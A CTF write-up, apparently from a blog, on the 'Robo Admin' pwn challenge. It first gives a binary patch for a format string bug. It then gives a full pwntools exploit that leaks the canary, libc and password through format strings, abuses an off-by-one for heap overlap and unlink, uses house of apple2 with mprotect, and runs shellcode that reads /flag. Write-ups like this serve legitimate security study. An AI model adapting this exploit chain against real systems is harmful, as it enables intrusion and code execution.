sysNow's blog

2026 软件系统安全赛Robo Admin题解

Apr 20, 2026
CTF writeup
6 Minutes
1021 Words

软件系统安全赛Robo Admin题解

image-20260420193313831

image-20260420193323238

fix

image-20260419135441852

这个位置存在格式化字符串漏洞,同时按照要求增加解码后的判断逻辑即可

没做出来的师傅们可能没有好好读题,题目里面指定了需要审计set_notice函数和show_status函数,所以会有以下三种情况

  1. 如果原文中出现$%,则输出[X] raw input contains illegal chars
  2. 如果解码后的字符串出现$%,则输出[X] decoded input contains illegal chars
  3. 不满足以上条件,则允许写入bss段中

因此我们需要在修复格式化字符串的同时,利用汇编添加第二条的逻辑,至于第二层菜单的off by one甚至都不用修复就可以通过check

1
#!/usr/bin/env python
2
# coding=utf-8
3
4
from AwdPwnPatcher import *
5
6
binary = "./pwn"
7
awd = AwdPwnPatcher(binary)
8
9
fmt_offset = awd.add_constant_in_ehframe("%s\x00\x00")
10
assembly = """
11
mov eax, 0
12
mov rsi, rdi
13
lea rdi, qword ptr [{}]
14
""".format(hex(fmt_offset))
15
awd.patch_by_jmp(0x1A45, jmp_to=0x1A4A, assembly=assembly)
29 collapsed lines
16
17
offset = awd.add_constant_in_ehframe("[X] decoded input contains illegal chars\x00")
18
assembly = """
19
lea rax, qword ptr [rbp-0x310]
20
mov esi, 0x25
21
mov rdi, rax
22
call 0x1200
23
test rax, rax
24
jnz print
25
26
lea rax, qword ptr [rbp-0x310]
27
mov esi, 0x24
28
mov rdi, rax
29
call 0x1200
30
test rax, rax
31
jnz print
32
33
lea rax, qword ptr [rbp-0x310]
34
jmp 0x190E
35
36
print:
37
lea rax, qword ptr [{}]
38
mov rdi, rax
39
call 0x11D0
40
jmp 0x1945
41
""".format(hex(offset))
42
awd.patch_by_jmp(0x1907, 0x190E, assembly=assembly)
43
44
awd.save()

attack

通过格式化字符串泄露信息,同时泄露password经过login的认证,随后进入主菜单

image-20260420194021296

这个位置存在一个off by one,可以先通过这个off by one修改后一个堆块的size,随后通过后一个堆块覆盖之后的内存,实现堆重叠,随后打unlink就可以直接控制堆块管理内存的权限

image-20260420194043094

随后可以泄露堆的地址,修改_IO_list_all,打house of apple2即可

其实在打unlink之前,一直在尝试通过堆重叠直接篡改fd,由于是glibc 2.35,因此存在异或加密,需要先泄露一个堆地址。由于编辑堆块的时候会在堆块的末尾添加空字符,而show功能利用的是printf,因此很难通过edit + show的方式泄露堆地址,尝试半天后最终选择unlink。我们通过之前的格式化字符串可以泄露出ELF基地址,同时存在溢出写,满足打unlink的条件

image-20260420194142629

我其实觉得攻击挺简单的,不知道为什么华东赛区全场就两个解

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4
5
context(os="linux",arch="amd64",log_level="debug")
6
7
# io = process("./pwn")
8
io = remote("192.0.100.2",9999)
9
# io = gdb.debug("./pwn")
10
11
elf = ELF("./pwn")
12
libc = ELF("./libc.so.6")
13
14
stop = pause
15
S = pause
149 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36
37
def cmd(i, prompt=b">"):
38
sla(prompt, i)
39
def add(idx, name, size):
40
cmd(b"1")
41
sla(b"Index:", str(idx).encode())
42
sla(b"Task name:", name)
43
sla(b"Desc size:", str(size).encode())
44
# ......
45
def edit(idx, leng, data):
46
cmd(b"2")
47
sla(b"Index:", str(idx).encode())
48
sla(b"Write length :", str(leng).encode())
49
sla(b"New desc bytes:", data)
50
# ......
51
def show(idx):
52
cmd(b"3")
53
sla(b"Index:", str(idx).encode())
54
# ......
55
def show_all():
56
cmd(b"4")
57
def dele(idx):
58
cmd(b"5")
59
sla(b"Index:", str(idx).encode())
60
# ......
61
62
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
63
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
64
65
cmd(b"1")
66
sl(b"\\x2513\\x24p \\x2514\\x24p \\x2515\\x24p \\x2523\\x24p \\x256\\x24p \\x257\\x24p")
67
# pause()
68
cmd(b"2")
69
ru(b"Notice:")
70
ru(b"0x")
71
canary = int(r(16), 16)
72
ru(b"0x")
73
stack = int(r(12), 16)
74
ru(b"0x")
75
elf_base = int(r(12), 16) - 0x2893
76
ru(b"0x")
77
libc_base = int(r(12), 16) - 0x29d90
78
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
79
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
80
setcontext = libc_base + libc.sym["setcontext"] + 61
81
mprotect = libc_base + libc.sym["mprotect"]
82
system = libc_base + libc.sym["system"]
83
84
leak("canary", canary)
85
leak("stack", stack)
86
leak("elf_base", elf_base)
87
leak("libc_base", libc_base)
88
ru(b"0x")
89
password1 = int(r(16), 16)
90
ru(b"0x")
91
password2 = int(r(16), 16)
92
leak("password1", password1)
93
leak("password2", password2)
94
95
password1 = p64(password1, endianness='big')
96
print(b"password1 = ", password1)
97
password2 = p64(password2, endianness='big')
98
print(b"password2 = ", password2)
99
pass_word = ""
100
for i in range(len(password1)):
101
pass_word = pass_word + hex(password1[i])[2:]
102
for i in range(len(password2)):
103
pass_word = pass_word + hex(password2[i])[2:]
104
print(b"pass_word = ", pass_word)
105
106
cmd(b"3")
107
ru(b"Token:")
108
sl(b"ROBOADMIN")
109
ru(b"Password")
110
sl(pass_word.encode())
111
112
add(2, b"AAAA", 0x128)
113
add(3, b"AAAA", 0x128)
114
add(4, b"AAAA", 0x100)
115
add(5, b"AAAA", 0x200)
116
add(6, b"AAAA", 0x200)
117
add(7, b"AAAA", 0x100)
118
119
edit(2, 0x129, b"A"*0x128+b"\xf0")
120
dele(3)
121
# pause()
122
add(3, b"AAAA", 0x1e0)
123
# pause()
124
target = elf_base + 0x5158
125
edit(3, 0x140, (p64(0)+p64(0x120)+p64(target-0x18)+p64(target-0x10)).ljust(0x120, b"A")+p64(0x120)+p64(0x640))
126
dele(4)
127
128
edit(3, 0x18, p64(0)+p64(0)+p64(elf_base+0x5168))
129
show(2)
130
ru(b"Task<AAAA> => ")
131
heap_base = u64(r(6).ljust(8, b"\x00")) - 0x1cd0
132
leak("heap_base", heap_base)
133
134
edit(3, 0x58, b"A"*0x50 + p64(_IO_list_all))
135
edit(5, 0x200, flat([setcontext]))
136
edit(6, 0x200, flat({0x0:0x3b68732020, # _flags
137
0x20:0, # _IO_write_base
138
0x28:1, # _IO_write_ptr
139
0x88:heap_base, # _lock
140
0xa0:heap_base+0x20f0, # _wide_data
141
0xc0:0, # _mode
142
0xd8:_IO_wfile_jumps # vtable
143
}, filler = b"\x00"))
144
edit(7, 0x100, flat({0x18:0,
145
0x30:0,
146
0xe0:heap_base+0x1cd0-0x68, # backdoor
147
0xa0:heap_base+0x1968,
148
0x68:heap_base,
149
0x70:0x5000,
150
0x88:7,
151
0xa8:mprotect
152
}, filler = b"\x00"))
153
154
edit(2, 0x10, p64(heap_base+0x1ee0))
155
156
edit(3, 0x58, b"A"*0x50 + p64(heap_base+0x1960))
157
shell = shellcraft.amd64.openat(-100, "/flag", 4, 0) + shellcraft.amd64.sendfile(1,3,0,0x1000)
158
edit(2, 0x100, p64(0x4444444444444444)+p64(heap_base+0x1970)+b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe6E1\xd2j\x9c_j\x04Z1\xc0f\xb8\x01\x01\x0f\x05A\xba\x01\x01\x01\x01A\x81\xf2\x01\x11\x01\x01j\x01_1\xd2j\x03^j(X\x0f\x05')
159
160
# pause()
161
cmd(b"6")
162
cmd(b"4")
163
164
ia()
Article title:2026 软件系统安全赛Robo Admin题解
Article author:sysNow
Release time:Apr 20, 2026